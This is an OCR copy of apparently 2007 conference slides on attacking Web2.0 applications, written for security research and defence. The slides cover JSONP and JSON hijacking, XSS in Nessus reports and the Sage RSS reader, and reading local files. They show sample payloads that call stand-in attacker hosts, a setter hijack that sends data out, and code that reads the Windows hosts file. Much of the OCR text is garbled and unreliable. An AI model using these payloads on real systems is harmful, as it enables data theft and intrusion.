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Introduction

e Who am I?

O From Japan
O Work for Web Security Company
O Research Web2.0 -- but I do not like it :-p

e Why Web2.0?
O Popular, Growing rapidly
O Sneak through Firewalls
O A lot of New and Fun Techniques (not Technologies)
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What Is Web2.0
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O'Reilly’s Definition of "What Is Web2.0"

Web 2.0 Meme Map

-rv '-—
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Reference http://www.oreillynet.com/pub/a/oreilly/tim/news/2005/09/30/what-is-web-20.html
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Attackers’ Definition of "What Is Web2.0"

Phishing:
not a Vulnerability Maas:
- &5 user as a contributor ¥

Jikto:

Samy Worm:

Attacking SNS WSLabi:
Yamanner: )

Attacking WebMail = 15,/ : Wisdom of Crowds

Strategic Posktioning:

T The Web as Attacking platform
Malice, not Usar Pos ;

a technology * You control your own data

Trust your attacker
Bchnology” =

* Cost-sffective scalabllity 2 Small Pieces

= Ramixabde data source and data transtormations Loosely Joined

= Software above the leval of a single dovice Ll (web as attack tool)
- Harpessing eallective Intelligence

The Lang Tail

55 the "Intal nside”
Data as =

the “Attacker Inside” 3 Attack that gets A
better
the more people use it _ crldiSig =Lk

\ of contant
I nahaviar nol

predatang

Rich User Exparience

Rich Attacker Experience

Emergent Attacker
Attackability The Right to Attack behavior is not

“Some rights reserved” predetermined



Side-effect From Web2.0

e Rich User Experience » More Requests/Responses

<

More Attack Vectors

e The Architecture of User Participation

T

The Architecture of Attacker Participation

e Users must be treated as co-developers

<

Users’ PC must be targeted for attack
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Attacking Same-Origin Policy
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Same-0rigin Policy

htt://.example.com/ http://www.other-example.com/
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~ <script>
Sec [
if (req) { R e e o

. reqg.open('GET', 'http://www.other- ——

« example.com/);

~ req.onreadystatechange = function() {
e </SCI"Ipt> I T - =)

A
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The scripts restrict the access to the websites which is
different from the origin of the scripts.
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Can’t Abuse the Cross-Domain Access

e <IMG>tag
cannot access image contents from the scripts

e (I)FRAME
cannot access DOM from the scripts

e Flash
must use “crossdomain.xm

|ll

e <SCRIPT>tag
must use the script-formatted contents

However, using crafted attacks, we can.



JSONP (JavaScript Object Notation with Padding)

http [lwww. securesky-tech com/

Secure Sky Technalocy Inc. — Microsaft Intorm
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http://mail.example.com/jsonp.dat

O 0 DE6 pm s B0 B E T T e e P 3

PP e .-ﬁl 0= -0 [ & o] e o @] 25 B
<html>
..... callback( { "name” :

- <script "Fukumori",

* src="http://mail.example. “namegﬂ: "g“gﬁ ,
com/jsonp.dat"> name3™: "Bob” );

= </script>

|
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1. HTML invokes the external scripts from <SCRIPT>tag
2. Call-back function is executed
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Attacking JSONP

h / curesky-techﬂ.icﬂ:om/ http://mail.example.com/jsonp.dat

NG BRO FTW HRAIE® - | &

@ ANIE
Q- OB &P Jesmm @3- L5 LK

700 B e EL
- <html>
B callback( { "name” :

- "Fukumori”

<: 4
scr!'pt : “name2”: "Alice",
src="http://mail.example. “name3”: "Bob" ):

com/jsonp.dat">

</script>
l GET /jsonp HTTP/1.0 ] ‘

]
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Cookie: SESSIONID=rH9EawGi3G

- Attackers without auth-info cannot access
- Users unintentionally send their auth-info
- Attackers can indirectly steal those users’ auth-info
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JSON (JavaScript Object Notation)

htt / Wwwcuresky—tech EO m/ http://www.securesky-tech.com/object.dat
_5 req = new XMLHttpRequest();
_ req.open('GET", 'object.dat’);
reg.onreadystatechange = function() { [{ "name" : "Fukumori",
if (req.readyState == 4) { "name2":"Alice",
var obj = "name3":"Bob"} ]
eval("("+req.responseText+")");
alert(obj[0]["name"));

@ @

1. Scripts invoke the external JSON-formatted data

from XHR or Proxy
2. Using "eval()", Scripts can use the JSON data.




Attacking JSON

e Embed the malicious JavaScript code inside the
JSON

e Redefine the Object's constructor

<script>
Object.prototype. defineSetter  (‘name’,
function(x){sendtoAttacker(x);});

</script>

<script src="http://www.example.com/object.dat”></script>




Attacking Mashup
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*Mashup combines the data from the multiple websites.
*Attackers mingle their sites in those data as a good one.
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Advanced Attacking Same-Origin Policy




What Is Advanced?

e General attacking
Target: Data from other websites
e.g.) Users’ ID, Name, Password, Address, Phone
Number, purchase history, SessionID, etc.

e Advanced attacking
Target: Data from the local computers
e.g.) Users’ Private Photos, Resumes, Password
Files, Customer Information, etc.

and Executing the arbitrary command
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Access the Local Computer's Files

var req = new XMLHttpRequest();

req.open("GET", "file:///C:/WINDOWS/system32/drivers/etc/hosts”, false);

req.send(null);

alert(req.responseText);




Which Domain Do We Belong To?

() We belong to the domain Internet Options | | | | | |E||
General | Security | Privacy | Content | Connections | Programs | Advanced
where the browser
a Cce S S e d Selecta&ne to we'nazﬁange seu:urltg.i;ethngs. ®

- w

® If We Ca n b e I O n g to n M y [AENE]  Localintranet Trusted sites Reziziacsted

Internet

C O m p u te r S e C u ri ty @ This zone is for Internet websites, Sites

except those listed in trusted and

ZoneH’ We Can access restricted zones.
th e I O Ca I CO m p u te rl S fi I e S SE:IJI::EiIEIZ?flE:rf::iZﬁzi:::ne: Medium to High

Medium-high
- Appropriate for most websites
- Prompts before downloading potentially unsafe

content
- Unsigned ActiveX contrals will not be downloaded

e How do we belong to R -
"My Computer SeCUFIty ) |Eustomlevel--- Dy
ZO n e |' ? iES-E: all zones to default leve

(04 ] I Cancel
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Attacking Nessus

e Nessus is a complete network vulnerability
scanner

Nessus

Welcome to Nessus Vulnerability Scanner

@ Welcome Messus is a complete network vulnerahility scanner which includes high-speed checks for
thousands of the most commonly updated vulnerabilities, a wide variety of scanning

(@ Start Scan Task options, an easy-to-use interface, and effective reporting.

@View Reports You can start a new scan by selecting “Start Scan Task". all scan results will be

automatically saved, and you can open them again by selecting "view Reports”.
Other Options

) This scanner has not been configured for plugins updates. Please consider registering.
11 Address Book

'E’ Manage Policies EJ Start Sean Task

‘@' Update Plugins E) view Reports
See Also
@ Help

&P About Messus

| Copyright @ 2003-2007 Tenable Metwok S ecurity, All rights reserved. |
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Attacking Nessus

e CVE-2007-3546
http://cve.mitre.org/cgi-bin/cvename.cgi?name=2007-3546

e Attack Vector is a "Server Header" of the Web Server

e Faulty Countermeasure
</SCRIPT>tag was changed</DEFANGED_SCRIPT>

e The evasion method is:
Server: Apache/1.3.1 <LINK REL='stylesheet' XXX="http://attacker/xss.css">

In a report, it will be
<LINK REL='stylesheet' XXX="<a target="_blank" href="http://attacker/xss.css">
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DEMO-1

Attacker

HTTP/1.0 200 OK
Connection: close
Content-Type: text/html
Server: Apache/1.3.1 <LINK
REL="stylesheet'
XXX="http://192.168.11.88/xss.css">

1. Using Nessus , a victim audits the attacker's website.

2. Response header of the attacker's website returns the
contents, including attacking codes.

3. Since Nessus's report is not properly sanitized, malicious
scripts will be executed.
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Browser's Security Restriction

e “To help protect your security, Internet Explorer
has restricted this webpage from running scripts
or ActiveX controls that could access your
computer. Click here for options...”

€ Tenable Nessus Security Report - Windows Internet Explorer o || = [

) !& ChUsers\fukumoritTenableMessusireportsihtmcurrent_reportaxml - | *f-| A ! | Live Search D -
i . = . : \ , =
0.7 guaf | @& Tenable Nessus Security Report i v Bl v o= - |- Page v i Tools ~

'# To help protect your security, Internet Explorer has restricted this webpage from running scripts or ActiveX controls that could access your X
computer, Click here for ocptions...

Start Time: Wed Oct 10 1

17:54:58 2007
! Allowing active content such as script and ActiveX controls can be
useful,

but active content might also harm your computer.

m

Are you sure you want to let this file run active content?

lig192.168.11.83  70p
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Appearance of A 2" Hurdle

e We were able to belong to

Internet Options @
" M y CO m p u te r S e C u rl ty | General | Security I Privacy | Content I Connections I Programsl Advanced l
Z 1] Settings
O n e Just display the results in the main window -
% Security

[7] allow active content from CDs to run on My Computer*

e But there is a "browser's D e e e s

[] allow software to run or install even if the signature is inw:
S e C u ri ty re St r-i Ct i O n " Check for publisher's certificate revocation
Chedk for server certificate revocation™
Check for signatures on downloaded programs
[7] Do not save encrypted pages to disk

o H O W d O W e C ro S S Ove r t h i S [] Empty Temporary Im_:ernet Files Foldgr I.rw.hv?.-n browser is dc

Enable Integrar=d=immn = =T

second hurdle? B

[ Phishing Filter <
' 1 | b

*Takes effect after you restart Internet Explorer

[ Restore advanced settings ]

Reset Internet Explorer settings

Deletes all temporary files, disables browser Reset
add-ons, and resets all the changed settings. —

¥ou should only use this if your browser is in an unusable state.

ok || cancel Apply
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Attacking RSS Reader
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Firefox Add-on Sage RSS Reader Vulnerability

e Arbitrary scripts are executed when an RSS

reader reads malicious RSS feeds.
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0896

e Faulty Countermeasure:
Removed <SCRIPT>

e Evaded by <SCRIPT/SRC="http://attacker/">
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RSS Feed For Attack

<?xml version="1.0" encoding="UTF-8"?>

<rss version="2.0"
xmlns:content="http://purl.org/rss/1.0/modules/content/"
xmlns:wfw="http://wellformedweb.org/CommentAPI/"
xmlins:dc="http://purl.org/dc/elements/1.1/">

<channel>

<title>test2</title>
<link>http://www.example.com/</link>
<description>test</description>
<item>

<title>test</title>

<content:encoded>
<I[CDATA[<SCRIPT/SRC="http://attcker/attack.js'></SCRIPT>]]>
</content:encoded>

</item>

</channel>

</rss>



e Firefox, Opera and
Safari do not have
restrictions like IE.

o If IE components are
used, browser
restriction is useless.
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Why Was "Browser Restriction” Broken?

= [=] 4]

HE

BE

B REED  FTW  BEG  wav-0E w-kD AT

& - < € )| = [ file/ 4G/ DocumentsKolanddeiSetiines, fukumari/A ) <] © 88 [[CL
& uhds G BFHa-A

Prawy: [ L x| LA ¢ 9 [ 388 RE: JOFUER AL &,

98 Disable~ 2] Cookies~ 5 NSl e |

Sage

W Q Bl

7 OPML Import - Feed Secuir
|#] BBG News | News Fron
|#] Yahoo! News — Sports
| ] test
|| Sage Project News

test

# Copyright (2 1993-1999 Microsoft Corp.

#

# Thiz iz a sample HOSTS file uzed by Microsoft TGPAIP far Windows.
#

# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should

# be placed in the firzt column followed by the corresponding host name.
# The IF addrezz and the host name should be separated by at least one
# space.

#

# Additionally, comments (such as these) may be inserted on individual
# lines or followine the machine name denoted by a '# =ymbal

#

# For example:

#

# 102549497 rhino.acme.com # source server

#38.256310 xacmecom # x client host

127007 localhost
19216815 sst

B

1. test

1921681182 Mo T —FEERELTOET ..

Provey: 3l

B Resizer (2) Taolsw ('] View

1337
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DEMO-2

Attacker

Victim

RSS Reader

1.  Victim PC reads the RSS feed from the Attacker’s site
where the malicious code embedded

2. XSS occurs by the malicious code which steals the data
from the User local PC, then sends to the attackers server.




What Is A 3 Hurdle?

e We were able to access local computer's files

because we were able to belong to "My Computer
Security Zone".

e But "My Computer Security Zone" is still strict
since we cannot execute the arbitrary commands.
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Attacking Java Applications
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Evading "Security Zone"

e In Java Applications, IE components are often
used.

e SWT(Standard Widget Kit) is a kind of library,
providing a GUI tool Kkit.

e SWT does not inherit IE settings

e [t may be possible with other languages or
libraries perhaps.
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DEMO-3

Attacker

A o 4

Victim

e

S

—_—

Java Application

Victim PC access the attacker’s

[ E5

site with the Java application —
e . . I Inv ™ Hp ’_ l_ Back GE G
2. Malicious script by the attacker will o) = | o | T o]
be executed, then the arbitrary e e e
commands will be executed. e




Defending Web2.0 (1/2)

e PLAN
Minimize the requirements
Do you really need Web2.0?

e DO
Secure Programming
White Box Test
(Agile Development is dangerous)
Do not forget security countermeasures in Web1.0!




Defending Web2.0 (2/2)

e CHECK
Check logs
Black Box Test
Periodic Third Party Audits
Gather Information

e ACTION
Fix Quickly (Use both Ad-hoc and Fundamental)
Give top priority to the customers' security!
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Questions?




